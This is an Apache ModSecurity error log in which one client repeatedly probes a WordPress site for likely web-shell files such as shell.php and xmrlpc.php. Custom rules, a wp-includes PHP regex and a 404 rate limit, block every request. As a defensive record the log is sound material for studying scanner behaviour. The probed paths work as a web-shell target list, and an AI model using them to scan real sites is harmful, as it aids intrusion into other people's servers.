[Fri Apr 03 05:07:42.596775 2026] [:error] [pid 22672:tid 22734] [client 20.104.201.101:1995] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/Cache/content.php"] [unique_id "ac7anqzrgXkFSOK0fvp4pgAAAE8"]
[Fri Apr 03 05:07:42.999968 2026] [:error] [pid 22672:tid 22729] [client 20.104.201.101:1983] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "ac7anqzrgXkFSOK0fvp4qgAAAEo"]
[Fri Apr 03 05:07:43.028425 2026] [:error] [pid 22778:tid 22807] [client 20.104.201.101:1955] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/xmrlpc.php"] [unique_id "ac7an_S-q9hkdFqUjq9oqAAAANY"]
[Fri Apr 03 05:07:43.475460 2026] [:error] [pid 22673:tid 22753] [client 20.104.201.101:2046] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/xmrlpc.php"] [unique_id "ac7an--GlVDWdWxxwJB0qwAAAIc"]
[Fri Apr 03 05:07:43.842623 2026] [:error] [pid 22672:tid 22735] [client 20.104.201.101:1949] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "ac7an6zrgXkFSOK0fvp4sgAAAFA"]
[Fri Apr 03 05:07:43.898511 2026] [:error] [pid 22672:tid 22719] [client 20.104.201.101:1974] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/xmrlpc.php"] [unique_id "ac7an6zrgXkFSOK0fvp4swAAAEA"]
[Fri Apr 03 05:07:44.327489 2026] [:error] [pid 22672:tid 22733] [client 20.104.201.101:1862] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/xmrlpc.php"] [unique_id "ac7aoKzrgXkFSOK0fvp4tgAAAE4"]
[Fri Apr 03 05:07:44.576246 2026] [:error] [pid 58590:tid 58616] [client 20.104.201.101:1887] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "ac7aoEze_aEPDM9xEE2cowAAARg"]
[Fri Apr 03 05:07:44.742566 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:1865] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/wp-login.php"] [unique_id "ac7aoEze_aEPDM9xEE2cpgAAAQI"]
[Fri Apr 03 05:07:45.186420 2026] [:error] [pid 58590:tid 58606] [client 20.104.201.101:1929] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/taptap-null.php"] [unique_id "ac7aoUze_aEPDM9xEE2cqAAAAQ4"]
[Fri Apr 03 05:07:45.603592 2026] [:error] [pid 58590:tid 58609] [client 20.104.201.101:1895] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/taptap-null.php"] [unique_id "ac7aoUze_aEPDM9xEE2cqwAAARE"]
[Fri Apr 03 05:07:45.686018 2026] [:error] [pid 22778:tid 22787] [client 20.104.201.101:1978] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "ac7aofS-q9hkdFqUjq9oqgAAAMI"]
[Fri Apr 03 05:07:46.025760 2026] [:error] [pid 58590:tid 58597] [client 20.104.201.101:1898] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-mail.php/wp-includes/ID3/taptap-null.php"] [unique_id "ac7aokze_aEPDM9xEE2cswAAAQU"]
[Fri Apr 03 05:07:46.299701 2026] [:error] [pid 58590:tid 58610] [client 20.104.201.101:1954] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "ac7aokze_aEPDM9xEE2ctwAAARI"]
[Fri Apr 03 05:07:46.448944 2026] [:error] [pid 58590:tid 58598] [client 20.104.201.101:1810] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/as.php"] [unique_id "ac7aokze_aEPDM9xEE2cuQAAAQY"]
[Fri Apr 03 05:07:46.874201 2026] [:error] [pid 58590:tid 58614] [client 20.104.201.101:1963] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/as.php"] [unique_id "ac7aokze_aEPDM9xEE2cvgAAARY"]
[Fri Apr 03 05:07:47.184792 2026] [:error] [pid 22672:tid 22736] [client 20.104.201.101:1970] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "ac7ao6zrgXkFSOK0fvp4xgAAAFE"]
[Fri Apr 03 05:07:47.290730 2026] [:error] [pid 22671:tid 22693] [client 20.104.201.101:1945] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/as.php"] [unique_id "ac7aoyRuUnMW7r8hvyY84gAAAAI"]
[Fri Apr 03 05:07:47.710412 2026] [:error] [pid 22778:tid 22805] [client 20.104.201.101:1985] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/as.php"] [unique_id "ac7ao_S-q9hkdFqUjq9orgAAANQ"]
[Fri Apr 03 05:07:48.158563 2026] [:error] [pid 22673:tid 22760] [client 20.104.201.101:1989] [client 20.104.201.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/wp-login.php"] [unique_id "ac7apO-GlVDWdWxxwJB0ygAAAI4"]
[Fri Apr 03 05:07:48.400784 2026] [:error] [pid 22671:tid 22712] [client 20.104.201.101:1857] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "ac7apCRuUnMW7r8hvyY86QAAABU"]
[Fri Apr 03 05:07:48.579052 2026] [:error] [pid 22671:tid 22704] [client 20.104.201.101:1876] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/lv.php"] [unique_id "ac7apCRuUnMW7r8hvyY86wAAAA0"]
[Fri Apr 03 05:07:49.022535 2026] [:error] [pid 22671:tid 22711] [client 20.104.201.101:1870] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/lv.php"] [unique_id "ac7apSRuUnMW7r8hvyY88AAAABQ"]
[Fri Apr 03 05:07:49.449977 2026] [:error] [pid 22672:tid 22727] [client 20.104.201.101:1909] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/about.php"] [unique_id "ac7apazrgXkFSOK0fvp40QAAAEg"]
[Fri Apr 03 05:07:49.461410 2026] [:error] [pid 22672:tid 22719] [client 20.104.201.101:1891] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/lv.php"] [unique_id "ac7apazrgXkFSOK0fvp40gAAAEA"]
[Fri Apr 03 05:07:49.888816 2026] [:error] [pid 58590:tid 58598] [client 20.104.201.101:1858] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/.well-known/lv.php"] [unique_id "ac7apUze_aEPDM9xEE2cxAAAAQY"]
[Fri Apr 03 05:07:50.309234 2026] [:error] [pid 22673:tid 22764] [client 20.104.201.101:1795] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/date.php"] [unique_id "ac7apu-GlVDWdWxxwJB02gAAAJI"]
[Fri Apr 03 05:07:50.320040 2026] [:error] [pid 22673:tid 22755] [client 20.104.201.101:1866] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ac7apu-GlVDWdWxxwJB03AAAAIk"]
[Fri Apr 03 05:07:50.753608 2026] [:error] [pid 58590:tid 58597] [client 20.104.201.101:1850] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ac7apkze_aEPDM9xEE2czAAAAQU"]
[Fri Apr 03 05:07:51.138658 2026] [:error] [pid 22671:tid 22712] [client 20.104.201.101:1797] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/date.php"] [unique_id "ac7apyRuUnMW7r8hvyY8_gAAABU"]
[Fri Apr 03 05:07:51.180330 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1872] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ac7ap--GlVDWdWxxwJB03wAAAJg"]
[Fri Apr 03 05:07:51.595877 2026] [:error] [pid 22672:tid 22727] [client 20.104.201.101:1883] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/themes.php"] [unique_id "ac7ap6zrgXkFSOK0fvp42wAAAEg"]
[Fri Apr 03 05:07:52.010041 2026] [:error] [pid 22778:tid 22785] [client 20.104.201.101:1997] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "ac7aqPS-q9hkdFqUjq9osgAAAMA"]
[Fri Apr 03 05:07:52.048785 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:1875] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/date.php"] [unique_id "ac7aqEze_aEPDM9xEE2c3QAAAQw"]
[Fri Apr 03 05:07:52.478192 2026] [:error] [pid 58590:tid 58607] [client 20.104.201.101:1804] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "ac7aqEze_aEPDM9xEE2c4wAAAQ8"]
[Fri Apr 03 05:07:52.963111 2026] [:error] [pid 58590:tid 58604] [client 20.104.201.101:1754] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "ac7aqEze_aEPDM9xEE2c7gAAAQw"]
[Fri Apr 03 05:07:53.427965 2026] [:error] [pid 22673:tid 22764] [client 20.104.201.101:2032] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "ac7aqe-GlVDWdWxxwJB06AAAAJI"]
[Fri Apr 03 05:07:53.888251 2026] [:error] [pid 22673:tid 22770] [client 20.104.201.101:1840] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ac7aqe-GlVDWdWxxwJB06gAAAJg"]
[Fri Apr 03 05:07:54.321412 2026] [:error] [pid 58590:tid 58597] [client 20.104.201.101:1813] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ac7aqkze_aEPDM9xEE2c9wAAAQU"]
[Fri Apr 03 05:07:54.760305 2026] [:error] [pid 58590:tid 58610] [client 20.104.201.101:1964] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ac7aqkze_aEPDM9xEE2c_QAAARI"]
[Fri Apr 03 05:07:55.230582 2026] [:error] [pid 22671:tid 22700] [client 20.104.201.101:1874] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "ac7aqyRuUnMW7r8hvyY9AgAAAAk"]
[Fri Apr 03 05:07:55.641186 2026] [:error] [pid 58590:tid 58594] [client 20.104.201.101:1993] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "ac7aq0ze_aEPDM9xEE2dDQAAAQI"]
[Fri Apr 03 05:07:56.061808 2026] [:error] [pid 58590:tid 58602] [client 20.104.201.101:1805] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "ac7arEze_aEPDM9xEE2dEAAAAQo"]
[Fri Apr 03 05:07:56.548429 2026] [:error] [pid 22671:tid 22704] [client 20.104.201.101:1919] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "ac7arCRuUnMW7r8hvyY9CQAAAA0"]
[Fri Apr 03 05:07:56.967938 2026] [:error] [pid 22673:tid 22759] [client 20.104.201.101:1973] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/themes/travelscape/json.php"] [unique_id "ac7arO-GlVDWdWxxwJB08QAAAI0"]
[Fri Apr 03 05:07:57.314411 2026] [:error] [pid 22673:tid 22755] [client 20.104.201.101:2008] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/date.php"] [unique_id "ac7are-GlVDWdWxxwJB09AAAAIk"]
[Fri Apr 03 05:07:57.397828 2026] [:error] [pid 58590:tid 58614] [client 20.104.201.101:1841] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "ac7arUze_aEPDM9xEE2dGQAAARY"]
[Fri Apr 03 05:07:58.325628 2026] [:error] [pid 22778:tid 22795] [client 20.104.201.101:1918] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "ac7arvS-q9hkdFqUjq9otAAAAMo"]
[Fri Apr 03 05:07:58.667302 2026] [:error] [pid 58590:tid 58616] [client 20.104.201.101:1868] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/x.php"] [unique_id "ac7arkze_aEPDM9xEE2dLwAAARg"]
[Fri Apr 03 05:07:59.477365 2026] [:error] [pid 22673:tid 22768] [client 20.104.201.101:1861] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "ac7ar--GlVDWdWxxwJB0_AAAAJY"]
[Fri Apr 03 05:08:00.003405 2026] [:error] [pid 22671:tid 22700] [client 20.104.201.101:1886] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/x.php"] [unique_id "ac7asCRuUnMW7r8hvyY9DwAAAAk"]
[Fri Apr 03 05:08:00.629944 2026] [:error] [pid 58590:tid 58612] [client 20.104.201.101:1908] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/wp-admin.php"] [unique_id "ac7asEze_aEPDM9xEE2dSAAAARQ"]
[Fri Apr 03 05:08:01.349193 2026] [:error] [pid 58590:tid 58596] [client 20.104.201.101:1944] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "ac7asUze_aEPDM9xEE2dTwAAAQQ"]
[Fri Apr 03 05:08:01.522961 2026] [:error] [pid 58590:tid 58597] [client 20.104.201.101:1894] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/x.php"] [unique_id "ac7asUze_aEPDM9xEE2dUgAAAQU"]
[Fri Apr 03 05:08:01.888651 2026] [:error] [pid 22778:tid 22790] [client 20.104.201.101:1979] [client 20.104.201.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/upgrade/shell.php"] [unique_id "ac7asfS-q9hkdFqUjq9otwAAAMU"]
